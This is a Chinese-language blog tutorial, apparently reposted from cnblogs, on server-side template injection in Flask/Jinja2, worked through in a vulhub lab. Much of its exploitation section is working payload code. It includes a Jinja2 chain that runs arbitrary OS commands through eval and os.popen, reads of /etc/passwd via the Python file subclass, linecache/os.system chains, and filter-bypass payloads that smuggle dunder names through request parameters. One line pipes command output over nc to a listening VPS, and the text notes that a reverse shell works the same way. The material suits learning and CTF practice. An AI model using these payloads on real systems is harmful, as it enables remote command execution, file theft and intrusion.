zoukankan      html  css  js  c++  java
  • SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习

    0x01 SSTI概念

    SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造)。SSTI就是服务器端模板注入(Server-Side Template Injection)
    说到注入,我们常见的注入有sql注入,sql注入我们都很熟悉,但SSTI和sql注入一样都是先从用户获得一个输入将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

    0x02 SSTI原理

    来看一个简单的源代码

    from flask import Flask, request
    from jinja2 import Template
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
    
        t = Template("Hello " + name)
        return t.render()
    
    if __name__ == "__main__":
        app.run()
    

    这是一个典型的SSTI漏洞例子,成因是render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。
    各框架模板结构:

    更详细的服务器模板原理网上有很多,参考
    SSTI模板注入

    0x03 搭建Flask(Jinja2) 服务端模板注入漏洞环境

    ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞
    搭建好后直接访问

    from flask import Flask
    from flask import request, render_template_string, render_template
    
    app = Flask(__name__)
    
    @app.route('/login')
    def hello_ssti():
        person = {
            'name': 'hello',
            'secret': '7d793037a0760186574b0282f2f435e7'
        }
        if request.args.get('name'):
            person['name'] = request.args.get('name')
        
        template = '<h2>Hello %s!</h2>' % person['name']
    
        return render_template_string(template, person=person)
    
    if __name__ == "__main__":
        app.run(debug=True)
    

    测试注入

    传参/login?name={{7*7}}看有什么回显

    可以看到把括号里面的7*7进行了计算,说明存在SSTI漏洞
    那该怎么扩大漏洞利用范围呢,这就要讲到一些python知识(这个漏洞不止在python上,各种语言的模板都可以有,只是大多是python),这里先给一个漏洞利用方法
    执行任意命令payload

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("ls").read()') }}         //poppen的参数就是要执行的命令
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    

    内建函数

    当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。
    内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字​
    我们主要关注的是内建名称空间,是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射​
    dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些

    这里面,我们可以看到__builtins__是做为默认初始模块出现的,那么用dir()命令看看__builtins__的成分

    这里我们可以看到很多熟悉的模块都是初始自带的,比如:importstrlen等,因此python可以直接使用某些初始函数,比如直接使用len()函数

    到这里可能会有点感觉,就是只要我们能找到一个预装模块或者类的内置方法,那么就可以直接使用这个方法搞事。
    这里就得再说一下python的类
    在python中
    instance.class 可以获取当前实例的类对象,例如

    ''.__class__
    


    这里返回的就是空字符串的类也就是,<type 'str'>
    **class.mro **获取当前类对象的所有继承类'只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

    这里在python2中还会多一个basestring类

    base 对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法

    subclasses() 继承此对象的子类,返回一个列表
    我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象
    更多函数模块参考:
    沙盒逃逸常见函数

    " ".__class__.__mro__
    (<class 'str'>, <class 'object'>)
    >>> "".__class__.__mro__[-1].__subclasses__()
    [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ......]
    

    由于继承object的子类有很多,查阅起来不方便,可以列举一下

    >>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
    ... 
    (0, <type 'type'>)
    (1, <type 'weakref'>)
    (2, <type 'weakcallableproxy'>)
    (3, <type 'weakproxy'>)
    (4, <type 'int'>)
    (5, <type 'basestring'>)
    (6, <type 'bytearray'>)
    (7, <type 'list'>)
    (8, <type 'NoneType'>)
    (9, <type 'NotImplementedType'>)
    (10, <type 'traceback'>)
    (11, <type 'super'>)
    (12, <type 'xrange'>)
    (13, <type 'dict'>)
    (14, <type 'set'>)
    (15, <type 'slice'>)
    (16, <type 'staticmethod'>)
    (17, <type 'complex'>)
    (18, <type 'float'>)
    (19, <type 'buffer'>)
    (20, <type 'long'>)
    (21, <type 'frozenset'>)
    (22, <type 'property'>)
    (23, <type 'memoryview'>)
    (24, <type 'tuple'>)
    (25, <type 'enumerate'>)
    (26, <type 'reversed'>)
    (27, <type 'code'>)
    (28, <type 'frame'>)
    (29, <type 'builtin_function_or_method'>)
    (30, <type 'instancemethod'>)
    (31, <type 'function'>)
    (32, <type 'classobj'>)
    (33, <type 'dictproxy'>)
    (34, <type 'generator'>)
    (35, <type 'getset_descriptor'>)
    (36, <type 'wrapper_descriptor'>)
    (37, <type 'instance'>)
    (38, <type 'ellipsis'>)
    (39, <type 'member_descriptor'>)
    (40, <type 'file'>)
    .........
    

    可以发现在第四十号指向file类,所以就可以从file类中调用open方法

    ''.__class__.__mro__[-1].__subclasses__()[40]("/root/Desktop/ssti-test/app.py").read()
    


    这里成功利用file对象的匿名实例化,并为其传参要读取的文件名,通过调用其读文件函数read就可以对文件进行读取了。

    0x04 漏洞利用

    在明白了基本原理后,来复现试一下,读取密码

    ''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()
    

    命令执行

    python环境下常用的命令执行方式。

    os.system()

    用法:os.system(command)
    但是用这个无法回显
    我们可以用这个

    os.popen()

    用法:os.popen(command[,mode[,bufsize]])
    说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。
    popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。
    还需要了解一个魔法函数
    globals该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )
    


    如果os被过滤了可以用

    subprocess

    1.subprocess.check_call()
    Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
    2.subprocess.check_output()
    Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
    3.subprocess.Popen(“command”)
    说明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
    Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息。

    __init__方法

    __init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。
    组合payload:

    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
    
    [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
    e62b7adab33a40c6b6f483c31505f0f6
    e62b7adab33a40c6b6f483c31505f0f6
    

    无回显处理

    当我们用os命令执行没回显时,可以用nc把回显发到vps上

    vps:nc -lvp 1234
    payload: ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')
    

    #vps接收到回显
    root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 123
    Listening on [0.0.0.0] (family 0, port 1234)
    Connection from [xx.xxx.xx.xx] port 1234 [tcp/*] accepted (family 2, sport 46258)
    app.py
    ap.py
    Config.py
    

    反弹shell也是一样,有了命令执行,反弹shell应该是很方便了。

    0x05 Bypass

    在实战或者ctf里出现的SSTI大多不能直接利用,一般会过滤一些关键字,这就需要我们掌握更多姿势,下面介绍一些常见的
    1.拼接

    object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
    

    2.过滤""[]
    借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)
    request变量可以访问所有已发送的参数,因此我们可以request.args.param用来检索新的paramGET参数的值,将其中的request.args改为request.values则利用post的方式进行传参

    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
    

    3.过滤双下划线__
    还是request方法

    {{
    ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
    }}&class=__class__&mro=__mro__&subclasses=__subclasses__
    

    4.过滤一些函数名如__import__,
    python的初始模块_builtin__里有很多危险的方法,一条路没了就找找其他的路
    我们可以直接用 eval() exec() execfile()等

    __builtins__.eval()
    

    globals

    [].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')
    

    0x06 参考

    https://p0sec.net/index.php/archives/120/
    https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/
    https://www.anquanke.com/post/id/188172#h3-15
    https://0day.work/jinja2-template-injection-filter-bypasses/
    https://blog.csdn.net/zz_Caleb/article/details/96480967

  • 相关阅读:
    JVM OOM处理
    Scala可变参数列表,命名参数和参数缺省
    Scala闭包
    Scala应用函数
    Scala函数字面量简化写法
    Scala函数字面量
    Scala中class和object的区别
    数据库的优化
    svn: warning: 'xxxxxx' is already under version control
    svn status 显示 ~xx
  • 原文地址:https://www.cnblogs.com/Xy--1/p/12841941.html
Copyright © 2011-2022 走看看